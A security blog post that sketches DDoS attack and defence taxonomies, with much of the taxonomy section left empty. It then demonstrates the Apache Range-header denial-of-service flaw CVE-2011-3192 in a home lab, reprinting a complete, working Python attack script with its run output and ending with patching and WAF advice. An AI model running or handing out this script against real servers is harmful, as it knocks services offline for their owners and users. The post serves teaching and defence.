A Distributed Denial of Service (DDoS) attack is carried out by generating a large flow of information from multiple connection points towards a single destination. In this post, two types of taxonomies will be presented to classify them by attacks and countermeasures, highlighting similarities, characteristics, and strategies with the aim of designing appropriate measures.

Introduction
The development and use of DDoS attack techniques have increased over time, and attackers constantly modify their approaches. This study aims to cover both well-known attacks and potential modifications, divided by levels.

General Aspects
What makes DDoS attacks possible?
Due to the design of the Internet following an end-to-end paradigm, in a two-way communication there is no intermediary that can immediately control or stop the transmission of malicious packets. Additionally, the possibility of performing IP Spoofing further complicates controlling these attacks without affecting genuine clients of the victim host.

How are DDoS attacks carried out?
To begin, they consist of several phases. Usually, automated scanning is used to identify devices that may be vulnerable—in simple terms, this is the start of the recruitment process. Once identified, these devices are exploited or infected (typically automatically) to introduce malicious code, which will later be used to recruit even more devices. I would call this a pyramid scheme.

Why are DDoS attacks carried out?
They are usually executed for personal reasons (revenge) or reputation (to gain respect and fame). However, they are also carried out for economic reasons (to harm a competitor) and political reasons (such as a war that could leave an entire country without internet services—an issue that Russia recently considered and is working on by improving its internet independence and implementing countermeasures).

Taxonomy of DDoS Attacks
DA: Degree of Automation (Grado de automatización)
DA-1 Manual
The previously mentioned phases of scanning and exploitation are carried out entirely manually by the attacker.

DA-2 Semi-Automatic

DDoS-Attack-Mechanisms

Taxonomy of DDoS Defense Mechanisms

DoS-Defense-Mechanisms

For more details on each classification, refer to this article .


Demo Time | CVE-2011-3192
To provide a practical example of a DDoS attack, consider the case study of the so-called ApacheKiller attack. This attack allows adversaries to cause a denial of service (through memory and CPU consumption) by exploiting the Range header that specifies multiple overlapping ranges, and it is assigned the identifier CVE-2011-3192.
Affected versions of Apache HTTP Server include 1.3.x, 2.0.x up to 2.0.64, and 2.2.x up to 2.2.19. In my case, I used Windows 7 as the victim host running Apache v2.2.15 along with a Python script to execute the attack.

Step 1
Install and run a vulnerable version of Apache as described above.

1

Step 2
Perform a brief test so you can closely observe the request, which also reveals the version of Apache in use. In a paid test or bug bounty scenario, this information could be very useful.

2

Step 3
Using the Python script created by Miroslav Stampar, we perform the test:

#!/usr/bin/env python

import optparse, os, re, socket, threading, time, urllib, urllib2, urlparse

NAME        = "KillApachePy (Range Header DoS CVE-2011-3192)"
VERSION     = "0.1c"
AUTHOR      = "Miroslav Stampar (@stamparm)"
LICENSE     = "Public domain (FREE)"
SHORT       = "You'll typically have to wait for 10-20 iterations before first connection timeouts. More complex/bigger the page the better"
REFERENCE   = "http://seclists.org/fulldisclosure/2011/Aug/175"

SLEEP_TIME      = 3     # time to wait for new thread slots (after max number reached)
RANGE_NUMBER    = 1024  # number of range subitems forming the DoS payload
USER_AGENT      = "KillApachePy (%s)" % VERSION

def attack(url, user_agent=None, method='GET', proxy=None):
    if '://' not in url:
        url = "http://%s" % url

    host = urlparse.urlparse(url).netloc

    user_agent = user_agent or USER_AGENT

    if proxy and not re.match('\Ahttp(s)?://[^:]+:[0-9]+(/)?\Z', proxy, re.I):
        print "(x) Invalid proxy address used"
        exit(-1)

    proxy_support = urllib2.ProxyHandler({'http': proxy} if proxy else {})
    opener = urllib2.build_opener(proxy_support)
    urllib2.install_opener(opener)

    class _MethodRequest(urllib2.Request):
        '''
        Create any HTTP (e.g. HEAD/PUT/DELETE) request type with urllib2
        '''
        def set_method(self, method):
            self.method = method.upper()

        def get_method(self):
            return getattr(self, 'method', urllib2.Request.get_method(self))

    def _send(check=False):
        '''
        Send the vulnerable request to the target
        '''
        if check:
            print "(i) Checking target for vulnerability..."
        payload = "bytes=0-,%s" % ",".join("5-%d" % item for item in xrange(1, RANGE_NUMBER))
        try:
            headers = { 'Host': host, 'User-Agent': USER_AGENT, 'Range': payload, 'Accept-Encoding': 'gzip, deflate' }
            req = _MethodRequest(url, None, headers)
            req.set_method(method)
            response = urllib2.urlopen(req)
            if check:
                return response and ('byteranges' in repr(response.headers.headers) or response.code == 206)
        except urllib2.URLError, msg:
            if 'timed out' in str(msg):
                print "\r(i) Server seems to be choked ('%s')" % msg
            else:
                print "(x) Connection error ('%s')" % msg
                if check or 'Forbidden' in str(msg):
                    os._exit(-1)
        except Exception, msg:
            raise

    try:
        if not _send(check=True):
            print "(x) Target does not seem to be vulnerable"
        else:
            print "(o) Target seems to be vulnerable\n"
            quit = False
            while not quit:
                threads = []
                print "(i) Creating new threads..."
                try:
                    while True:
                        thread = threading.Thread(target=_send)
                        thread.start()
                        threads.append(thread)
                except KeyboardInterrupt:
                    quit = True
                    raise
                except Exception, msg:
                    if 'new thread' in str(msg):
                        print "(i) Maximum number of new threads created (%d)" % len(threads)
                    else:
                        print "(x) Exception occured ('%s')" % msg
                finally:
                    if not quit:
                        print "(o) Waiting for %d seconds to acquire new threads" % SLEEP_TIME
                        time.sleep(SLEEP_TIME)
                        print
    except KeyboardInterrupt:
        print "\r(x) Ctrl-C was pressed"
        os._exit(1)

def main():
    print "%s #v%s\n by: %s\n\n(Note(s): %s)\n" % (NAME, VERSION, AUTHOR, SHORT)
    parser = optparse.OptionParser(version=VERSION)
    parser.add_option("-u", dest="url", help="Target url (e.g. \"http://www.target.com/index.php\")")
    parser.add_option("--agent", dest="agent", help="User agent (e.g. \"Mozilla/5.0 (Linux)\")")
    parser.add_option("--method", dest="method", default='GET', help="HTTP method used (default: GET)")
    parser.add_option("--proxy", dest="proxy", help="Proxy (e.g. \"http://127.0.0.1:8118\")")
    options, _ = parser.parse_args()
    if options.url:
        result = attack(options.url, options.agent, options.method, options.proxy)
    else:
        parser.print_help()

if __name__ == "__main__":
    main()

And configuring it with the Burp Suite proxy, the terminal output would look something like this:

root@lab:~# python Apachekiller.py -u 192.168.100.58 --proxy="http://127.0.0.1:8080"
KillApachePy (Range Header DoS CVE-2011-3192) #v0.1c
by: Miroslav Stampar (@stamparm)

(Note(s): You'll typically have to wait for 10-20 iterations before first
connection timeouts. More complex/bigger the page the better)

(i) Checking target for vulnerability...
(o) Target seems to be vulnerable
(1) Creating new threads

Once executed, let’s check our server:

4

As you can see, the CPU usage is maxed out, which demonstrates the vulnerability these Apache versions have. However, let’s analyze the requests that were sent.

5

As you can see, requests are sent with overlapping ranges, causing our server to process all this data for an extended period (thus consuming resources), which, on a larger scale, can be fatal.

6

Thus, this is an example of a DoS attack that managed to achieve 100% CPU usage. With a simultaneous attack from multiple machines (a DDoS attack), it could potentially crash the server (resulting in a blue screen).

This would be an example in our taxonomy of an EW-1 (Exploited Weakness to Deny Services: Semantic), as the attack exploits a bug present in these versions of Apache.

A solution to this problem would be to update the server and/or apply patches if available, as well as implement a WAF like modSecurity. Therefore, the taxonomy for our DDoS defense mechanism would be AL-1:PG-1:ST-1 (Activity Level: Preventive - Prevention Goal: Attack Prevention - Secured Target: System Security).

That’s it—if you have any questions, feel free to reach out.
-Hackers are People Too 😜